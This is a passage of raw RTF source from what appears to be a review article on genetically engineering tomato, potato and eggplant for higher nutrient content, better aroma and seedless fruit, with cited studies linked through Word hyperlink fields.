630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003800330000000064006900000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Zeh }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
. (2001)}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 have also reported a 30-fold increase in methionine content in transgenic potato tubers engineered with an antisense threonine synthase (TS) gene.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                             }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645 Carotenoids, such as \&#039;e2
-carotene and lycopene, give the fruit its characteristic color. Carotenoids are good antioxidants and are precursors of vitamin A. These are sy}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
nthesized through the isoprenoid biosynthetic pathway. Hence genetic manipulation of this pathway may contribute to the organoleptic and nutritional qualities of vegetables. An effort to increase the provitamin A content in tomato was made by engineering 
a}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645  bacterial gene encoding for the phytoene-desaturase enzyme that converts phytoene to lycopene into transgenic tomato. These transgenic plants produced three-fold more \&#039;e2
-carotene content than that of control plants. Similarly, a six-fold increase in carotenoid content and two- to three-fold increase in \&#039;e1
-tocopherol content was achieved in transgenic potato plants by antisense or co-suppression of the zeaxanthin epoxidase gene that results in the inhibition of zeaxanthin conversion to violaxanthin. Recently }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 an }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Erwinia uredovora crtB}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645 
 gene encoding phytoene synthase was introduced in potatoes. This resulted in four- to seven-fold increase in carotenoid content in the transgenic tubers with \&#039;e2-carotene and lutein accumulation reaching up to 11 and 19-fold higher }{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 than control tubers ({\*\bkmkstart bbib21}{\*\bkmkend bbib21}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_u
rlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib21&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003200310000000000001800000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Ducreux }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.,}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645  2005}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                              }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Another group of 
metabolites exploited for its antioxidant property are the flavonoids. These are a diverse group of polyphenolic secondary metabolites, which impart color to the fruit. Flavonoids have been correlated with a decreased risk of cardiovascular disease in hum
a
ns. Since natural variation for flavonoid content of tomato fruit is limited and most of it is present in the peel, a transgenic approach has been used to increase the flavonoid content by over-expression of either the enzymes involved in flavonoid biosyn
thesis or transcription factors that regulate the genes of this pathway. Transgenic tomato plants expressing petunia }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 CHI-A}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  gene encoding chalcone isomerase showed significant increase in flavonoid content}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16130875\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  {\*\bkmkstart bbib56}{\*\bkmkend bbib56}Similarly, a 10-fold increase in flavonoid content has been achieved by ectopic expression of the maize transcription factors LC and C1 in transgenic tomato (
{\*\bkmkstart bbib46}{\*\bkmkend bbib46}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;
_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib46&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 
{\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d003200340038003600620061006100300033003100300062003800650064003500630064006300350065003400300033003900390034006200360037003800360000000600000062006900620034003600000000ad000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Le Gall }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 2003}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }\pard\plain \ltrpar\s4\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15940594\charrsid16345645 {\*\bkmkstart SECX10}{\*\bkmkend SECX10}\tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
2. Improvement of aroma
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                               }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Flavor and aroma have an important influence on people&#039;s choice of foods. The 
aromas of fruits, vegetables, and flowers are mixtures of volatile metabolites such as alcohols, phenols, ethers, aldehydes, ketones, etc. Some of the short-chain aldehydes and alcohols, which contribute to flavor, are derived from lipid components by the
 action of lipases, hydroperoxide lyases, and alcohol dehydrogenases. {\*\bkmkstart bbib77}{\*\bkmkend bbib77}These transgenic tomato plants showed changes in certain flavor compounds such as }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 cis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 -3-hexenol, 1-hexanol, hexanal, and }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 cis}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 -3-hexenal. In another study, overexpressing a nons
pecific tomato alcohol dehydrogenase gene in tomato fruits altered the levels of aroma-determining short chain aldehydes and alcohols. This change in aroma volatiles resulted in intense \lquote ripe fruit\rquote 
 flavor in tomato fruit. One of the important volatile com
pounds that influence the quality of the flavor of tomatoes and their products is the acyclic monoterpene alcohol, linalool. Linalool, imparts a sweet, floral alcoholic note to fresh tomatoes. Hence linoalool levels were altered by engineering the }{
\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 S-}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 linalool synthase (LIS) gene from }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 Clarkia breweri}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  in tomato plants. The expression of }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 S-}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 linalool synthase enzyme, which catalyzes the formation of linalool, resulted in elevated levels of linalool and linalool derivatives in the transgenic fruit ({\*\bkmkstart bbib47}
{\*\bkmkend bbib47}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HY
PERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=248
6baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib47&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003400370000000067000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Lewinsohn }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 ., 2001}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                               }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Browing and loss of the flavor compound methional during }
{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16133048\charrsid16345645 processing}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 are two problems associated with quality of potato. Transgenic potatoes have been generated in which browning is overcome by antisense inhibition of polyphenol oxidase}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13057371\charrsid16345645 .}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  {\*\bkmkstart bbib16}{\*\bkmkend bbib16}One obv
ious way to retrieve the flavor in potato is by addition of methional in processed potato, which would be uneconomical. The other approach can be to increase the level of its precursor, methionine. Cystathionine gamma-synthase (CGS) is a key enzyme regula
ting methionine biosynthesis in plants. To increase the level of soluble methionine in potato, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Arabidopsis thaliana}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  CGS cDNA was introduced under transcriptional control of the cauliflower mosaic virus 35S promoter into Russet Burbank potato ({\*\bkmkstart bbib19}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  HYPERLI
NK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0
310b8ed5cdc5e403994b6786&quot; \\l &quot;bib19&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003100390000000080000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Di }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
., 2003}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
). This strategy led to a 2.4- to 4.4-fold increase in methional level in baked tubers of field-grown transgenic
 potato lines. The increase observed in methional levels also correlated with the soluble methionine level in the tubers from the same lines measured before processing ({\*\bkmkend bbib19}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3K
M-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib19&quot; }{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
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0038003200310038003100380026006d00640035003d003200340038003600620061006100300033003100300062003800650064003500630064006300350065003400300033003900390034006200360037003800360000000600000062006900620031003900000000ea000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Di }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
, 2003}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }\pard\plain \ltrpar\s4\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15940594\charrsid16345645 {\*\bkmkstart SECX11}{\*\bkmkend SECX11}\tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
3. Seedless vegetables
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                               }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
The development of the fruit in the absence of pollination and/or fertilization is known as parthenocarpy. Since pollination and fertilization are adversely affected by environmental stresses such as low or high temperature, parthenocarpy gives advantage 
f
or stability in productivity under these stress conditions. Moreover, the seedless nature of parthenocarpic fruits increases consumer acceptance, makes processing of vegetables easier and also improves the quality of the vegetables like brinjal (eggplant)
,
 where seeds are associated with bitter substances. The absence of pollen will also alleviate environmental concerns regarding the transfer of transgenes to non-transgenics by cross-pollination. Parthenocarpy has been shown to be regulated by auxins. Henc
e, efforts have been made to engineer parthenocary either by increasing the auxin production or sensitivity of the ovary to auxins. Expression of }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 iaaM}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  gene driven by the ovule specific promoter }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 DefH9}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 has been shown to confer parthenocarpy to transgenic tomato ({\*\bkmkstart bbib23}{\*\bkmkend bbib23}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_user
id=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib23&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
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0038003200310038003100380026006d00640035003d003200340038003600620061006100300033003100300062003800650064003500630064006300350065003400300033003900390034006200360037003800360000000600000062006900620032003300000000dd000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Ficcadenti }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 ., 1999}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ) and eggplant ({\*\bkmkstart bbib65}
{\*\bkmkend bbib65}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob
=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib65&quot; }{
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\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Rotino }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 1997}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
), and also resulted in high yield and fruit quality in eggplant ({\*\bkmkstart bbib20}{\*\bkmkend bbib20}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
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-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib20&quot; }{\rtlch\fcs1 \af0\afs20 
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\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Donzella }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 2000}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ). Recently, the }{\rtlch\fcs1 
\ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Agrobacterium rhizogenes}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 -derived gene }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 rolB}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  has been used as an alternative approach for the induction of parthenocarpy in tomato. Transgenic tomato plants transformed with the }{
\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 rolB}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  gene under the control of ovary- and young-fruit-specific promoter }{\rtlch\fcs1 \ai\af0\afs20 
\ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 TPRP-F1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  developed parthenocarpic fruits. The fruit size and mor
phology, including jelly fill in the locules of the seedless fruits, were comparable to those of seeded fruits of the parental line ({\*\bkmkstart bbib11}{\*\bkmkend bbib11}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=0
2%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib11&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
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\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Carmi }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
., 2003}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \v\fs20\insrsid2503964\charrsid16345645  }{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \v\fs20\insrsid15082596\charrsid16345645 {\pict{\*\picprop\shplid1027{\sp{\sn shapeType}{\sv 1}}{\sp{\sn fFlipH}{\sv 0}}{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fillColor}{\sv 10070188}}{\sp{\sn fFilled}{\sv 1}}
{\sp{\sn fLine}{\sv 0}}{\sp{\sn alignHR}{\sv 1}}{\sp{\sn dxHeightHR}{\sv 30}}{\sp{\sn fLayoutInCell}{\sv 1}}{\sp{\sn fStandardHR}{\sv 1}}{\sp{\sn fHorizRule}{\sv 1}}{\sp{\sn fLayoutInCell}{\sv 1}}}
